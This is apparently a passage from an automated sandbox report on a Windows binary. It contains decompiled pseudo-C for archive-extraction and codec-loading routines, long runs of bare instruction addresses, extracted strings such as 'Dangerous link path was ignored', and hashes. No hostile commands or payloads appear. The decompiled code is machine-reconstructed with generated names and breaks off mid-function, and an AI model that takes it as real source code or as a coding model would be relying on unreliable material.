										 *((intOrPtr*)( *_t1056 + 0x10))(_t1056,  *(_t1371 + 0xe8), 0x59, _t1374 - 0x4c, _t1374 - 0x28, _t1374 - 0xa0);
										__eflags =  *(_t1374 - 0x28);
										if( *(_t1374 - 0x28) == 0) {
											goto L35;
										}
										__eflags =  *((intOrPtr*)(_t1374 - 0xa0)) - 1;
										if( *((intOrPtr*)(_t1374 - 0xa0)) != 1) {
											goto L238;
										}
										E012328E9(_t1374 - 0x60);
										 *((char*)(_t1374 - 4)) = 4;
										E0123FB2F(_t1374 - 0x80, __eflags);
										 *((char*)(_t1374 - 4)) = 5;
										 *((intOrPtr*)(_t1374 - 0x9c)) = 0;
										__eflags = E01236C0B(_t1374 - 0x80,  *(_t1374 - 0x4c),  *(_t1374 - 0x28), _t1374 - 0x9c);
										if(__eflags != 0) {
											_push(_t1374 - 0x20);
											 *(_t1374 - 0x29) = 0;
											_t1065 = E01236DAA(_t1374 - 0x80, __eflags);
											 *((char*)(_t1374 - 4)) = 6;
											E01231ABD(E01232A8C(_t1351, _t1065),  *((intOrPtr*)(_t1374 - 0x20)));
											__eflags =  *((intOrPtr*)(_t1374 - 0x80)) - 0xa0000003;
											 *(_t1374 - 0x3a) =  *((intOrPtr*)(_t1374 - 0x80)) == 0xa0000003;
											__eflags =  *((intOrPtr*)(_t1374 - 0x7c)) - 1;
											_t118 = _t1374 + 0xb;
											 *_t118 =  *((intOrPtr*)(_t1374 - 0x7c)) == 1;
											__eflags =  *_t118;
										}
										 *((char*)(_t1374 - 4)) = 4;
										_t1062 = E0125C31B(_t1374 - 0x80);
										 *((char*)(_t1374 - 4)) = 0;
										E01231ABD(_t1062,  *((intOrPtr*)(_t1374 - 0x60)));
										goto L35;
									}
								} else {
									_t1373 = _t744;
									L43:
									_t1297 = _t1374 - 0x24;
									goto L15;
								}
							}
						} else {
							_t1373 = _t741;
							L25:
							_t1297 = _t1374 - 0x24;
							goto L15;
						}
					}
					__eflags =  *(_t1374 - 0x24) - 0x15;
					if( *(_t1374 - 0x24) == 0x15) {
						 *(_t1371 + 0xb8) =  *(_t1374 - 0x1c);
						 *((intOrPtr*)(_t1371 + 0xbc)) =  *((intOrPtr*)(_t1374 - 0x18));
						 *(_t1371 + 0xc0) = 1;
						goto L17;
					} else {
						_t1373 = 0x80004005;
						goto L14;
					}
				} else {
					_t1373 = _t738;
					L14:
					_t1297 = _t1374 - 0x24;
					L15:
					E01238173(_t1297);
					L315:
					_t736 = _t1373;
					goto L353;
				}
			}

0x0123e582
0x0123e592
0x0123e598
0x0123e5a0
0x0123e5a3
0x0123e5a6
0x0123e5b1
0x0123e5b1
0x0123e5b6
0x0123e5bc
0x0123e5c2
0x0123e5c6
0x0123e5cb
0x0123e5ce
0x0123e5ce
0x0123e5d3
0x0123e5d9
0x0123e5df
0x0123e5e5
0x0123e5eb
0x0123e5f1
0x0123e5f7
0x0123e5fd
0x0123e603
0x0123e609
0x0123e60f
0x0123e615
0x0123e61a
0x0123e61f
0x0123e622
0x0123e630
0x0123e63c
0x0123e645
0x0123e64d
0x0123e653
0x0123e658
0x0123e65f
0x0123e65f
0x0123e65f
0x0123e65f
0x0123e658
0x0123e669
0x0123e675
0x0123e676
0x0123e679
0x0123e680
0x0123fb03
0x0123fb08
0x0123fb11
0x0123fb11
0x0123e686
0x0123e68a
0x0123e68e
0x0123e691
0x0123e69f
0x0123e6a4
0x0123e6a9
0x0123e6af
0x0123e6b3
0x0123e6e7
0x0123e6ea
0x0123e6ef
0x0123e6f2
0x0123e6f5
0x0123e6f8
0x0123e6fc
0x0123e700
0x0123e703
0x0123e711
0x0123e716
0x0123e719
0x0123e71b
0x0123e721
0x0123e726
0x0123e76d
0x0123e771
0x00000000
0x0123e773
0x0123e773
0x00000000
0x0123e773
0x0123e728
0x0123e72d
0x0123e731
0x0123e734
0x0123e739
0x0123e73c
0x0123e741
0x0123e745
0x0123e749
0x0123e74c
0x0123e75a
0x0123e75f
0x0123e762
0x0123e764
0x0123e780
0x0123e785
0x0123e8bf
0x0123e8c3
0x00000000
0x00000000
0x0123e8c9
0x00000000
0x0123e78b
0x0123e790
0x0123e793
0x0123e797
0x0123e79c
0x0123e79f
0x0123e7a2
0x0123e7a7
0x0123e7ad
0x0123e887
0x0123e88d
0x0123e899
0x0123e89e
0x0123e8a0
0x0123e8ae
0x0123e8b0
0x0123e8b5
0x0123e8b7
0x0123e8d6
0x0123e8dc
0x0123e97c
0x0123e98b
0x0123e990
0x0123e992
0x00000000
0x00000000
0x0123e99a
0x0123e99f
0x0123e9a1
0x00000000
0x00000000
0x0123e9a7
0x0123e9aa
0x0123e9b8
0x0123e9b8
0x0123e9bb
0x0123e9be
0x0123e9c0
0x0123e9d2
0x0123e9d2
0x0123e9d8
0x0123ea10
0x0123ea13
0x0123ea15
0x0123ea23
0x0123ea23
0x0123ea26
0x0123ea29
0x0123ea2b
0x0123eac9
0x0123eac9
0x0123eacc
0x0123eacf
0x0123eacf
0x0123ead4
0x0123ead4
0x0123ead7
0x0123eb8f
0x0123eb92
0x0123eb95
0x0123eb99
0x0123ebd7
0x0123ebd7
0x0123ebdd
0x0123ec27
0x0123ec27
0x0123ec2a
0x0123ec2c
0x0123ec31
0x0123ec33
0x0123ec33
0x0123ec35
0x0123ec38
0x0123ec38
0x0123ec3a
0x0123ec3c
0x0123ec3f
0x0123ec44
0x0123ec44
0x0123ec47
0x0123ec47
0x00000000
0x0123ec47
0x0123ebdf
0x0123ebe2
0x0123ebea
0x0123ebf6
0x0123ec04
0x0123ec09
0x0123ec14
0x0123ec16
0x0123ec19
0x0123ec1c
0x0123ec20
0x00000000
0x0123ec20
0x0123ebe4
0x0123ebe8
0x00000000
0x00000000
0x00000000
0x0123ebe8
0x0123eb9b
0x0123eba1
0x00000000
0x00000000
0x0123eba3
0x0123eba9
0x0123ec4e
0x0123ec52
0x0123ec56
0x0123ec59
0x0123ec5c
0x0123ec62
0x0123ec6d
0x0123ec70
0x0123ec72
0x0123ec75
0x0123ec97
0x0123ec9c
0x0123ecb0
0x0123ecb4
0x0123faee
0x0123f3ac
0x0123f3ac
0x0123f3af
0x0123f3b2
0x0123f3b4
0x0123f3b9
0x0123f3b9
0x0123f3bc
0x0123f3bc
0x00000000
0x0123f3bc
0x0123ecba
0x0123ecc0
0x0123ecc3
0x0123ecc7
0x0123ecd8
0x0123ecd9
0x0123ecda
0x0123ecdc
0x0123ecdf
0x0123ece4
0x0123ece6
0x0123ece9
0x0123ed0f
0x0123ed10
0x0123ed11
0x0123ed13
0x0123ed16
0x0123ed1b
0x0123ed1d
0x0123ed20
0x0123ed46
0x0123ed47
0x0123ed48
0x0123ed4a
0x0123ed4d
0x0123ed52
0x0123ed54
0x0123ed57
0x0123ed74
0x0123ed81
0x0123ed88
0x0123ed8a
0x0123ed8c
0x0123f789
0x0123f789
0x0123f78c
0x0123f78f
0x0123f791
0x0123f796
0x0123f796
0x0123f799
0x00000000
0x0123f799
0x0123ed92
0x0123ed98
0x0123edb0
0x0123edb6
0x0123edbd
0x0123edc0
0x0123edc1
0x0123edc2
0x0123edc5
0x0123edca
0x0123edca
0x0123edd0
0x0123ee76
0x0123ee7b
0x0123ee80
0x0123ee83
0x0123ee87
0x0123efa4
0x0123efab
0x0123efb0
0x0123efb4
0x0123efb8
0x0123efc6
0x0123efcc
0x0123efd0
0x0123efd9
0x0123efdd
0x0123efe5
0x0123efe9
0x0123efef
0x0123efef
0x0123eff5
0x0123effb
0x0123f001
0x0123f004
0x0123f00d
0x0123f010
0x0123f015
0x0123f021
0x0123f02d
0x0123f030
0x0123f034
0x0123f039
0x0123f03d
0x0123f03f
0x0123f049
0x0123f04d
0x0123f057
0x0123f066
0x0123f06e
0x0123f072
0x0123f07e
0x0123f086
0x0123f08a
0x0123f08f
0x0123f03f
0x0123f004
0x0123f090
0x0123f096
0x0123f099
0x0123f0ef
0x0123f0f5
0x00000000
0x00000000
0x0123f101
0x0123f109
0x0123f10e
0x0123f117
0x0123f11b
0x0123f120
0x0123f122
0x0123f468
0x0123f46a
0x0123f46c
0x0123f4f2
0x0123f4f5
0x0123f4f9
0x00000000
0x0123f4fe
0x0123f472
0x0123f475
0x0123f47a
0x00000000
0x00000000
0x0123f483
0x0123f488
0x0123f48b
0x0123f48f
0x0123f494
0x0123f497
0x0123f497
0x0123f4a1
0x0123f4ac
0x0123f4b1
0x0123f4ba
0x0123f4be
0x0123f4c3
0x0123f4c5
0x0123f4c7
0x0123f4cd
0x0123f4d0
0x0123f4d5
0x0123f4d8
0x0123f4d8
0x0123f4d0
0x0123f4eb
0x0123f4f1
0x00000000
0x0123f4f1
0x0123f12b
0x0123f12b
0x0123f12d
0x0123f150
0x0123f15e
0x0123f162
0x0123f16a
0x0123f16e
0x0123f186
0x0123f189
0x0123f19c
0x0123f1b8
0x0123f1ba
0x0123f1bc
0x0123f1e9
0x0123f1e9
0x0123f1eb
0x0123f284
0x0123f287
0x0123f28b
0x0123f291
0x0123f291
0x0123f294
0x0123f297
0x0123f302
0x0123f305
0x0123f3d6
0x0123f3dc
0x0123f3de
0x0123f3fe
0x0123f400
0x00000000
0x00000000
0x0123f409
0x0123f40e
0x0123f410
0x00000000
0x00000000
0x0123f41c
0x0123f41f
0x00000000
0x00000000
0x0123f428
0x0123f429
0x0123f42f
0x0123f431
0x0123f436
0x0123f439
0x0123f43b
0x0123f43d
0x0123f2bf
0x0123f2cf
0x00000000
0x0123f2d4
0x0123f443
0x0123f453
0x00000000
0x0123f458
0x0123f3e5
0x0123f3e7
0x00000000
0x00000000
0x0123f3f0
0x0123f3f1
0x00000000
0x0123f3f1
0x0123f312
0x0123f31a
0x0123f323
0x0123f325
0x0123f345
0x0123f347
0x0123f3c9
0x00000000
0x0123f3c9
0x0123f34e
0x0123f352
0x0123f353
0x0123f359
0x0123f35e
0x0123f35e
0x0123f361
0x0123f363
0x0123f365
0x0123f38c
0x0123f3a4
0x00000000
0x0123f3a9
0x0123f37f
0x00000000
0x0123f384
0x0123f32c
0x0123f32d
0x0123f333
0x00000000
0x0123f333
0x0123f2a1
0x0123f2a3
0x0123f2f9
0x00000000
0x0123f2f9
0x0123f2aa
0x0123f2ab
0x0123f2b1
0x0123f2b6
0x0123f2b9
0x0123f2bb
0x0123f2bd
0x0123f2ec
0x00000000
0x0123f2f1
0x00000000
0x0123f2bd
0x0123f1f1
0x0123f1f1
0x0123f1f2
0x0123f27d
0x00000000
0x0123f27d
0x0123f1f8
0x0123f1f8
0x0123f1f9
0x0123f255
0x0123f270
0x00000000
0x0123f275
0x0123f1fb
0x0123f1fb
0x0123f1fc
0x0123f24e
0x00000000
0x0123f24e
0x0123f1fe
0x0123f1fe
0x0123f1ff
0x0123f245
0x00000000
0x0123f245
0x0123f201
0x0123f204
0x0123f204
0x0123f205
0x00000000
0x00000000
0x0123f223
0x0123f228
0x0123f22e
0x0123f230
0x0123f233
0x0123f238
0x0123f238
0x0123f23b
0x00000000
0x0123f23b
0x0123f1c1
0x0123f1c6
0x00000000
0x0123f1c6
0x0123f130
0x0123f130
0x0123f131
0x00000000
0x00000000
0x0123f137
0x00000000
0x0123f09b
0x0123f09b
0x0123f0a7
0x0123f0ac
0x0123f0af
0x0123f0b3
0x0123f0b3
0x0123f0b8
0x0123f0be
0x0123f4ff
0x0123f509
0x0123f50e
0x0123f511
0x0123fac2
0x0123fad3
0x0123fadb
0x0123fadf
0x00000000
0x0123fae5
0x0123f517
0x0123f51d
0x0123f74e
0x0123f74e
0x0123f754
0x0123f7d1
0x0123f7d1
0x0123f7d3
0x0123f7d8
0x0123f7db
0x0123f820
0x0123f820
0x0123f7dd
0x0123f7dd
0x0123f7e0
0x0123f7e4
0x0123f7ea
0x0123f7ea
0x0123f822
0x0123f824
0x0123f827
0x0123f82d
0x0123f830
0x0123f835
0x0123f835
0x0123f843
0x0123f849
0x0123f84d
0x0123f852
0x0123f856
0x0123f864
0x0123f866
0x0123f8c9
0x0123f8cc
0x0123f9d1
0x0123f9d1
0x0123f9d4
0x0123f9d6
0x0123f9dc
0x0123f9e7
0x0123f9f1
0x0123fa02
0x0123fa12
0x0123fa16
0x0123fa1e
0x0123fa20
0x0123fa2f
0x0123fa32
0x0123fa32
0x0123fa3d
0x0123fa41
0x0123fa46
0x0123fa49
0x0123f9dc
0x0123fa4a
0x0123fa50
0x0123faa8
0x0123faaf
0x0123fab4
0x0123fab6
0x0123faba
0x0123fabf
0x0123fabf
0x00000000
0x0123fa52
0x0123fa52
0x0123fa69
0x0123fa6c
0x0123fa6e
0x0123fa71
0x00000000
0x00000000
0x0123fa73
0x0123fa75
0x0123fa79
0x0123fa7e
0x0123fa7e
0x0123fa8c
0x0123fa91
0x0123fa95
0x0123fa98
0x0123fa9b
0x0123faa0
0x0123faa0
0x0123faa3
0x00000000
0x0123faa3
0x0123fa50
0x0123f8d2
0x0123f8d8
0x00000000
0x00000000
0x0123f8de
0x0123f8e4
0x00000000
0x00000000
0x0123f8ea
0x0123f8f0
0x0123f8f6
0x0123f8f8
0x0123f906
0x0123f911
0x0123f916
0x0123f918
0x0123f91e
0x0123f970
0x0123f97e
0x0123f980
0x00000000
0x00000000
0x0123f987
0x0123f988
0x0123f98d
0x0123f992
0x0123f994
0x0123f997
0x00000000
0x00000000
0x0123f999
0x0123f99b
0x0123f99f
0x0123f9a4
0x0123f9a4
0x0123f9b2
0x0123f9b7
0x0123f9bb
0x0123f9be
0x0123f9c1
0x0123f9c6
0x0123f9c6
0x0123f9c9
0x00000000
0x0123f9c9
0x0123f925
0x0123f926
0x0123f92c
0x0123f931
0x0123f933
0x0123f936
0x00000000
0x00000000
0x0123f938
0x0123f93a
0x0123f93e
0x0123f943
0x0123f943
0x0123f951
0x0123f956
0x0123f95a
0x0123f95d
0x0123f960
0x0123f965
0x0123f965
0x0123f968
0x00000000
0x0123f968
0x0123f8fa
0x0123f900
0x00000000
0x00000000
0x00000000
0x0123f868
0x0123f86d
0x0123f86e
0x0123f879
0x0123f87b
0x0123f87f
0x0123f881
0x0123f8b6
0x0123f8b8
0x0123f8c1
0x0123f8c1
0x00000000
0x0123f8b8
0x0123f883
0x0123f885
0x0123f88a
0x0123f88a
0x0123f88d
0x0123f890
0x0123f898
0x0123f89f
0x0123f89f
0x0123f8a2
0x0123f8a5
0x0123f8a7
0x0123f8ac
0x0123f8ac
0x00000000
0x0123f8a7
0x0123f866
0x0123f756
0x0123f75c
0x00000000
0x00000000
0x0123f767
0x0123f76b
0x0123f771
0x0123f773
0x0123f775
0x0123f7a0
0x0123f7a3
0x00000000
0x00000000
0x0123f7ae
0x0123f7af
0x0123f7b4
0x0123f7b6
0x00000000
0x00000000
0x0123f7be
0x0123f7c1
0x0123f7c4
0x0123f7f8
0x0123f7fa
0x00000000
0x00000000
0x0123f803
0x0123f804
0x0123f807
0x0123f80d
0x0123f812
0x0123f815
0x0123f817
0x0123f819
0x00000000
0x00000000
0x00000000
0x0123f81b
0x0123f7cc
0x00000000
0x0123f7cc
0x0123f782
0x00000000
0x0123f788
0x0123f526
0x0123f52b
0x0123f52e
0x0123f532
0x0123f53a
0x0123f543
0x0123f547
0x0123f54f
0x0123f553
0x0123f558
0x0123f559
0x0123f563
0x0123f570
0x0123f572
0x0123f5b1
0x0123f5b6
0x0123f5b9
0x0123f5bd
0x0123f5cf
0x0123f5d8
0x0123f5de
0x0123f5e0
0x0123f5f8
0x0123f5f8
0x0123f5fb
0x0123f72c
0x0123f72f
0x00000000
0x0123f734
0x0123f601
0x0123f604
0x0123f648
0x0123f64b
0x00000000
0x00000000
0x0123f651
0x0123f654
0x0123f657
0x0123f660
0x0123f66d
0x0123f66f
0x0123f723
0x0123f726
0x00000000
0x0123f72b
0x0123f678
0x0123f684
0x0123f68b
0x0123f696
0x0123f698
0x0123f6ec
0x0123f6f8
0x0123f700
0x0123f702
0x0123f717
0x0123f71a
0x0123f71e
0x00000000
0x0123f71e
0x0123f709
0x0123f70a
0x0123f710
0x0123f6aa
0x0123f6aa
0x0123f6ac
0x0123f6ae
0x00000000
0x00000000
0x0123f6b3
0x0123f6df
0x00000000
0x0123f6e4
0x0123f69f
0x0123f6a0
0x0123f6a5
0x00000000
0x0123f6a5
0x0123f611
0x0123f613
0x00000000
0x00000000
0x0123f61e
0x0123f622
0x0123f623
0x0123f62e
0x0123f630
0x0123f632
0x00000000
0x00000000
0x0123f638
0x0123f63b
0x0123f640
0x0123f1c9
0x0123f1d9
0x00000000
0x0123f1de
0x0123f5e7
0x0123f5e8
0x0123f5f2
0x0123f5f4
0x0123f5f6
0x00000000
0x00000000
0x00000000
0x0123f5f6
0x0123f5bf
0x0123f5c2
0x00000000
0x00000000
0x0123f5c8
0x00000000
0x0123f574
0x0123f579
0x0123f57a
0x0123f584
0x0123f586
0x0123f588
0x0123f735
0x0123f738
0x0123f73c
0x0123f741
0x0123f748
0x00000000
0x00000000
0x00000000
0x0123f748
0x0123f5a1
0x00000000
0x0123f5a6
0x0123f0c4
0x0123f0c4
0x0123f0c4
0x0123f0c7
0x0123f0cf
0x0123f0d6
0x0123f0d6
0x0123f0d9
0x0123f0dc
0x0123f0de
0x0123f0e7
0x0123f0e7
0x00000000
0x0123f0de
0x0123f0be
0x0123f099
0x0123efc2
0x0123efc4
0x00000000
0x00000000
0x00000000
0x0123efc4
0x0123ee8d
0x0123ee93
0x0123eea5
0x0123eea5
0x0123eea8
0x00000000
0x00000000
0x0123eeb1
0x0123eebd
0x0123eec1
0x0123eec6
0x0123eecc
0x0123ef97
0x0123ef9a
0x0123ef9e
0x00000000
0x0123efa3
0x0123eee3
0x0123eeeb
0x0123eef0
0x0123eef3
0x0123eef9
0x0123ef08
0x0123ef08
0x0123ef0a
0x0123ef0a
0x0123ef19
0x0123ef1f
0x0123ef22
0x0123ef28
0x0123ef37
0x0123ef37
0x0123ef39
0x0123ef39
0x0123ef3c
0x0123ef3f
0x0123ef45
0x0123ef84
0x0123ef87
0x0123ef8b
0x0123ef92
0x00000000
0x0123ef92
0x0123ef47
0x0123ef4d
0x0123ef63
0x0123ef66
0x0123ef6c
0x00000000
0x00000000
0x0123ef74
0x0123ef77
0x0123ef7d
0x0123ef7d
0x0123ef80
0x00000000
0x0123ef80
0x0123ef5b
0x0123ef5e
0x00000000
0x0123ef5e
0x0123ef2a
0x0123ef30
0x00000000
0x00000000
0x0123ef32
0x0123ef34
0x00000000
0x0123ef34
0x0123eefb
0x0123ef01
0x00000000
0x00000000
0x0123ef03
0x0123ef05
0x00000000
0x0123ef05
0x0123ee95
0x0123ee98
0x00000000
0x00000000
0x0123eea0
0x00000000
0x0123eea0
0x0123ede0
0x0123ede8
0x0123edec
0x0123edf1
0x0123edf4
0x0123edf8
0x0123edfa
0x0123edfd
0x0123ee19
0x0123ee1d
0x0123ee21
0x0123ee26
0x0123ee29
0x0123ee2d
0x0123ee2d
0x0123ee29
0x0123ee32
0x0123ee37
0x0123ee3a
0x0123ee3e
0x0123ee41
0x0123ee50
0x0123ee58
0x0123ee58
0x0123ee64
0x0123ee6c
0x0123ee70
0x00000000
0x0123ee75
0x0123ee01
0x0123ee06
0x0123ee0c
0x0123ee14
0x0123ee14
0x00000000
0x0123ee14
0x0123ee0e
0x0123ee12
0x00000000
0x00000000
0x00000000
0x0123ee12
0x0123ed9a
0x0123ed9d
0x0123eda0
0x00000000
0x00000000
0x0123eda2
0x0123eda8
0x00000000
0x00000000
0x0123edaa
0x0123edae
0x00000000
0x00000000
0x00000000
0x0123edae
0x0123ed59
0x0123ed5c
0x0123ed5f
0x0123ed61
0x0123ed66
0x0123ed66
0x0123ed69
0x00000000
0x0123ed69
0x0123ed22
0x0123ed25
0x0123ed28
0x0123ed2a
0x0123ed2f
0x0123ed2f
0x0123ed32
0x00000000
0x0123ed32
0x0123eceb
0x0123ecee
0x0123ecf1
0x0123ecf3
0x0123ecf8
0x0123ecf8
0x0123ecfb
0x00000000
0x0123ecfb
0x0123eca1
0x0123eca8
0x00000000
0x0123eca8
0x0123ec7a
0x0123ec7f
0x0123ec82
0x0123ec85
0x0123ec87
0x0123ec8c
0x0123ec8c
0x0123ec8f
0x00000000
0x0123ec8f
0x0123ebaf
0x0123ebb1
0x0123ebb6
0x0123ebb9
0x0123ebcc
0x0123ebcc
0x0123ebbb
0x0123ebbb
0x0123ebbe
0x0123ebc1
0x0123ebc4
0x0123ebc4
0x0123ebd2
0x00000000
0x0123ebd2
0x0123eadd
0x0123eae0
0x0123eae3
0x0123eae5
0x0123eae7
0x0123eaec
0x0123eaef
0x0123eafc
0x0123eafc
0x0123eaf1
0x0123eaf1
0x0123eaf4
0x0123eaf4
0x0123eb01
0x0123eb04
0x0123eb04
0x0123eb12
0x0123eb1b
0x0123eb21
0x0123eb26
0x0123eb2c
0x0123eb30
0x0123eb5e
0x0123eb60
0x0123eb69
0x0123eb82
0x0123eb84
0x00000000
0x0123eb32
0x0123eb32
0x0123eb35
0x0123eb45
0x0123eb4a
0x0123eb4f
0x0123eb59
0x00000000
0x0123eb59
0x0123eb37
0x0123eb3d
0x00000000
0x00000000
0x0123eb3f
0x0123eb43
0x00000000
0x00000000
0x00000000
0x0123eb43
0x0123eb30
0x0123ea31
0x0123ea34
0x0123ea53
0x0123ea59
0x0123ea5b
0x00000000
0x00000000
0x0123ea5d
0x0123ea5f
0x0123eaae
0x0123eaae
0x0123eab1
0x00000000
0x00000000
0x0123eab3
0x0123eab9
0x00000000
0x00000000
0x00000000
0x0123eabb
0x0123ea61
0x0123ea7d
0x0123ea7d
0x0123ea7d
0x0123ea7f
0x0123ea7f
0x0123ea85
0x00000000
0x00000000
0x0123ea9c
0x0123eaa1
0x0123eaa3
0x00000000
0x00000000
0x0123eaa5
0x0123eaa5
0x0123eaaa
0x0123eaac
0x0123eac0
0x0123eac6
0x0123eac6
0x00000000
0x0123eac6
0x00000000
0x0123eaac
0x0123ea63
0x0123ea69
0x0123ea75
0x0123ea7b
0x00000000
0x00000000
0x00000000
0x0123ea7b
0x0123ea6b
0x0123ea71
0x00000000
0x00000000
0x00000000
0x0123ea73
0x0123ea36
0x0123ea39
0x0123ea4c
0x0123ea4c
0x0123ea4e
0x00000000
0x00000000
0x0123ea50
0x00000000
0x0123ea50
0x0123ea3b
0x0123ea3e
0x00000000
0x00000000
0x0123ea44
0x0123ea4a
0x00000000
0x00000000
0x00000000
0x0123ea4a
0x0123ea17
0x0123ea1d
0x00000000
0x00000000
0x00000000
0x0123ea1d
0x0123e9da
0x0123e9dd
0x0123e9df
0x00000000
0x00000000
0x0123e9e5
0x0123e9e8
0x0123e9ea
0x0123e9ed
0x0123e9fb
0x0123e9fb
0x0123e9fe
0x0123ea05
0x0123ea05
0x0123ea08
0x0123ea08
0x0123ea09
0x00000000
0x0123ea09
0x0123ea00
0x0123ea03
0x00000000
0x00000000
0x00000000
0x0123ea03
0x0123e9ef
0x0123e9f5
0x00000000
0x00000000
0x0123e9f7
0x00000000
0x0123e9f7
0x0123e9c5
0x0123e9ca
0x0123e9cc
0x00000000
0x00000000
0x00000000
0x0123e9cc
0x0123e9ac
0x0123e9b2
0x00000000
0x00000000
0x00000000
0x0123e9b2
0x0123e8e2
0x0123e8e5
0x00000000
0x00000000
0x0123e8eb
0x0123e8f1
0x00000000
0x00000000
0x0123e8f7
0x0123e8fa
0x0123e8fd
0x0123e905
0x0123e909
0x0123e90e
0x0123e90e
0x0123e910
0x0123e910
0x0123e916
0x00000000
0x00000000
0x0123e932
0x0123e934
0x0123e94d
0x0123e953
0x0123e95f
0x0123e96b
0x0123e971
0x0123e977
0x00000000
0x0123e977
0x0123e936
0x0123e936
0x0123e93b
0x0123e93d
0x0123e948
0x0123e948
0x00000000
0x0123e93d
0x0123e8b9
0x0123e8bc
0x0123e8a7
0x0123e8a9
0x00000000
0x0123e8a9
0x0123e8a2
0x0123e8a5
0x00000000
0x0123e8a5
0x0123e7b3
0x0123e7b6
0x0123e7b9
0x0123e87b
0x0123e87b
0x0123e881
0x00000000
0x00000000
0x00000000
0x0123e881
0x0123e7c5
0x0123e7dc
0x0123e7df
0x0123e7e2
0x00000000
0x00000000
0x0123e7e8
0x0123e7ef
0x00000000
0x00000000
0x0123e7f8
0x0123e800
0x0123e804
0x0123e813
0x0123e81a
0x0123e828
0x0123e82a
0x0123e832
0x0123e833
0x0123e836
0x0123e83e
0x0123e84a
0x0123e84f
0x0123e857
0x0123e85b
0x0123e85f
0x0123e85f
0x0123e85f
0x0123e85f
0x0123e866
0x0123e86a
0x0123e872
0x0123e875
0x00000000
0x0123e87a
0x0123e766
0x0123e766
0x0123e8ce
0x0123e8ce
0x00000000
0x0123e8ce
0x0123e764
0x0123e71d
0x0123e71d
0x0123e778
0x0123e778
0x00000000
0x0123e778
0x0123e71b
0x0123e6b5
0x0123e6ba
0x0123e6d1
0x0123e6da
0x0123e6e0
0x00000000
0x0123e6bc
0x0123e6bc
0x00000000
0x0123e6bc
0x0123e6ab
0x0123e6ab
0x0123e6c1
0x0123e6c1
0x0123e6c4
0x0123e6c4
0x0123f8af
0x0123f8af
0x00000000
0x0123f8af

APIs

__EH_prolog.LIBCMT ref: 0123E582

Part of subcall function 0123373A: __EH_prolog.LIBCMT ref: 0123373F

Part of subcall function 01233721: wcscmp.MSVCRT ref: 0123372C

Strings

Incorrect path, xrefs: 0123F5E8
Internal error for symbolic link file, xrefs: 0123F6A0
, xrefs: 0123FA12
Can not seek to begin of file, xrefs: 0123F988
Dangerous link path was ignored, xrefs: 0123F57A
\??\, xrefs: 0123E894

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog$wcscmp
String ID: $Can not seek to begin of file$Dangerous link path was ignored$Incorrect path$Internal error for symbolic link file$\??\
API String ID: 3232955128-2809321072
Opcode ID: 56d89657cc73bacfc267b97d6b7b4f8e15682582dc3498f3044b0fd73e4b1ad4
Instruction ID: 2e778a3e444374bdd27e99960e5f7561068de23762e8091b4e58794dd8aa8ca5
Opcode Fuzzy Hash: 56d89657cc73bacfc267b97d6b7b4f8e15682582dc3498f3044b0fd73e4b1ad4
Instruction Fuzzy Hash: EDE2E4B192028ADFDF25DFA8C890AFDBBF1BF94304F14445DE646A7251DB306949CB22

Uniqueness

Uniqueness Score: -1.00%

Function 0124BD45 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0124BD45(void* __ecx, void* __eflags) {
				void* __ebx;
				void* _t107;
				int _t108;
				int _t113;
				int _t115;
				_Unknown_base(*)()* _t117;
				unsigned int _t128;
				void* _t132;
				signed int _t134;
				signed char _t138;
				void* _t191;
				int _t194;
				struct HINSTANCE__** _t196;
				unsigned int* _t197;
				void** _t198;
				void* _t199;
				void* _t201;
				void* _t202;
				intOrPtr _t205;
				void* _t210;
				intOrPtr _t217;

				E012639E0(E01265EB3, _t199);
				_t202 = _t201 - 0x8c;
				_t191 = __ecx;
				E0124CA5D(__ecx + 0x28);
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((intOrPtr*)(_t199 - 0x1c)) = 0;
				 *((short*)( *((intOrPtr*)(__ecx + 0x18)))) = 0;
				 *((intOrPtr*)(__ecx + 0x38)) = 0;
				 *((intOrPtr*)(__ecx + 0x44)) = 0;
				_t205 =  *0x12746a4; // 0x0
				if(_t205 <= 0) {
					L11:
					E0124BFF8(_t199 - 0x38, _t210); // executed
					 *(_t199 - 4) = 3;
					_t107 = E012328B2(_t199 - 0x28, _t199 - 0x38,  *0x126988c);
					 *(_t199 - 4) = 4;
					_t108 = E0124BB2D(_t191, _t107, 0, _t199 - 0x11); // executed
					_t194 = _t108;
					 *(_t199 - 4) = 3;
					_t109 = E01231ABD(_t108,  *((intOrPtr*)(_t199 - 0x28)));
					if(_t194 != 0) {
						L26:
						E01231ABD(_t109,  *((intOrPtr*)(_t199 - 0x38)));
						 *[fs:0x0] =  *((intOrPtr*)(_t199 - 0xc));
						return _t194;
					}
					if( *((intOrPtr*)(_t199 - 0x11)) == 0) {
						E01232A28(_t191 + 0x18,  *0x126988c);
					}
					_push(E012328B2(_t199 - 0x28, _t199 - 0x38, L"Codecs\\"));
					 *(_t199 - 4) = 5;
					_t113 = E0124BC55(0, _t191); // executed
					_t194 = _t113;
					 *(_t199 - 4) = 3;
					_t109 = E01231ABD(_t113,  *((intOrPtr*)(_t199 - 0x28)));
					if(_t194 != 0) {
						goto L26;
					} else {
						_push(E012328B2(_t199 - 0x28, _t199 - 0x38, L"Formats\\"));
						 *(_t199 - 4) = 6;
						_t115 = E0124BC55(0, _t191); // executed
						_t194 = _t115;
						 *(_t199 - 4) = 3;
						_t109 = E01231ABD(_t115,  *((intOrPtr*)(_t199 - 0x28)));
						if(_t194 != 0) {
							goto L26;
						}
						 *((char*)(_t191 + 0x24)) = 1;
						_t109 =  *(_t191 + 0x10);
						if(_t109 == 0) {
							L19:
							 *((char*)(_t191 + 0x24)) = 0;
							L20:
							if( *((intOrPtr*)(_t191 + 0x24)) == 0) {
								L25:
								_t194 = 0;
								goto L26;
							}
							 *(_t199 - 0x10) = 0;
							if( *(_t191 + 0x10) <= 0) {
								goto L25;
							} else {
								goto L22;
							}
							do {
								L22:
